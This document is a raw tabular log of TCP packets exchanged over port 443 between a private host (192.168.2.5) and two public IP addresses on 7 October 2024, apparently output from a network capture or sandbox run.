Oct 7, 2024 21:53:13.133260965 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.133271933 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.209120989 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.209253073 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.209336042 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.211425066 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.211425066 CEST	49783	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.211447954 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.211458921 CEST	443	49783	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.214476109 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.214549065 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.214632034 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.214767933 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.214783907 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.216887951 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.217041016 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.217097998 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.217133045 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.217133045 CEST	49782	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.217149019 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.217155933 CEST	443	49782	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.219252110 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.219285011 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.219446898 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.219580889 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.219597101 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.269870996 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.270433903 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.270447016 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.270889044 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.270900965 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.282576084 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.283437967 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.283459902 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.284043074 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.284049988 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.386168957 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.386327982 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.386365891 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.386502028 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.386502028 CEST	49784	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.386518955 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.386528015 CEST	443	49784	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.389513016 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.389568090 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.389652014 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.389846087 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.389863014 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.456572056 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.456742048 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.456849098 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.457108974 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.457108974 CEST	49785	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.457124949 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.457134962 CEST	443	49785	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.459801912 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.459876060 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.460406065 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.460562944 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.460581064 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.503618956 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.504036903 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.504069090 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.504359961 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.504755974 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.504816055 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.504893064 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.551399946 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.552028894 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.648495913 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.648550987 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.648653984 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.649302959 CEST	49786	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.649317980 CEST	443	49786	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.653825045 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.653850079 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.653995991 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.654172897 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.654189110 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.694859028 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.694932938 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.695003986 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.695553064 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:13.695579052 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:13.734502077 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.735248089 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.735265970 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.735944986 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.735953093 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.835119009 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.835174084 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.835268021 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.835423946 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.835433960 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.835484982 CEST	49787	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.835489988 CEST	443	49787	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.838016987 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.838073015 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.838152885 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.838310957 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.838337898 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.857361078 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.857790947 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.857811928 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.858264923 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.858270884 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.867275000 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.867633104 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.867651939 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.868304014 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.868309975 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.966080904 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.966238022 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.966295958 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.966392994 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.966403961 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.966412067 CEST	49788	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.966417074 CEST	443	49788	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.968899965 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.968943119 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.969033003 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.969191074 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.969213009 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.994534016 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.994693995 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.994827986 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.994857073 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.994869947 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.994879961 CEST	49789	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.994893074 CEST	443	49789	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.997046947 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.997068882 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:13.997450113 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.997701883 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:13.997714996 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.052159071 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.052537918 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.052561045 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.053019047 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.053025961 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.136533022 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.137022018 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.137059927 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.137516975 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.137522936 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.138257980 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.138535023 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.138561010 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.138906002 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.139218092 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.139293909 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.139362097 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.156253099 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.156325102 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.156474113 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.156497002 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.156510115 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.156536102 CEST	49790	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.156543970 CEST	443	49790	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.160574913 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.160602093 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.160670042 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.160840034 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.160855055 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.161633968 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.161864996 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.161904097 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.163064003 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.163336992 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.163559914 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.163670063 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.163748980 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.163841009 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.163928032 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.163984060 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.183403015 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.231501102 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.231632948 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.231744051 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.231863022 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.231882095 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.231892109 CEST	49791	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.231897116 CEST	443	49791	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.234899998 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.234931946 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.235037088 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.236346006 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.236368895 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.280495882 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.280617952 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.280745983 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.281951904 CEST	49792	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.281968117 CEST	443	49792	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.416405916 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.417068958 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.417138100 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.417155981 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.417186975 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.417288065 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.417301893 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.419090033 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.419157028 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.419164896 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.419900894 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.419956923 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.419964075 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.421700954 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.421753883 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.421761036 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.422130108 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.422187090 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.422194004 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.470388889 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.476854086 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.477431059 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.477458000 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.477931976 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.477941036 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.498318911 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.498985052 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.499025106 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.499056101 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.499080896 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.499134064 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.499927998 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.500577927 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.500623941 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.500631094 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.500643969 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.500713110 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.500725031 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.500758886 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.500988007 CEST	49793	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.501002073 CEST	443	49793	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.510457993 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.510479927 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.510725975 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.510978937 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:14.510993004 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:14.572551966 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.572606087 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.572773933 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.572854042 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.572869062 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.572881937 CEST	49794	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.572887897 CEST	443	49794	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.575731993 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.575825930 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.575942039 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.576119900 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.576139927 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.606739998 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.607222080 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.607248068 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.607727051 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.607733011 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.655657053 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.656146049 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.656183958 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:14.656609058 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:14.656615019 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.097429037 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.097511053 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.097553015 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.097711086 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.097731113 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.097739935 CEST	49795	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.097745895 CEST	443	49795	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.098294020 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.098450899 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.098505974 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.099152088 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.099168062 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.099179029 CEST	49796	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.099184990 CEST	443	49796	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.100411892 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.101325035 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.101347923 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.101414919 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.101795912 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.101808071 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.102135897 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.102154016 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.102264881 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.102344990 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.102355957 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.102432966 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.102437019 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.102720976 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.102731943 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.106457949 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.106913090 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:15.106923103 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.107249975 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.107737064 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:15.107786894 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.108010054 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:15.155400991 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.202831030 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.202889919 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.202970982 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.203161001 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.203161001 CEST	49797	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.203170061 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.203176975 CEST	443	49797	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.206131935 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.206151962 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.206597090 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.207027912 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.207041979 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.241641045 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.241703033 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.241852045 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:15.242717981 CEST	49801	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:15.242723942 CEST	443	49801	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:15.285269022 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.285949945 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.285964966 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.288644075 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.288647890 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.290957928 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.291697979 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.291716099 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.291851044 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.291857004 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.387593031 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.387758017 CEST	443	49798	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.389049053 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.389117002 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.389154911 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.389154911 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.389180899 CEST	49798	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.389188051 CEST	443	49798	13.107.246.64	192.168.2.5
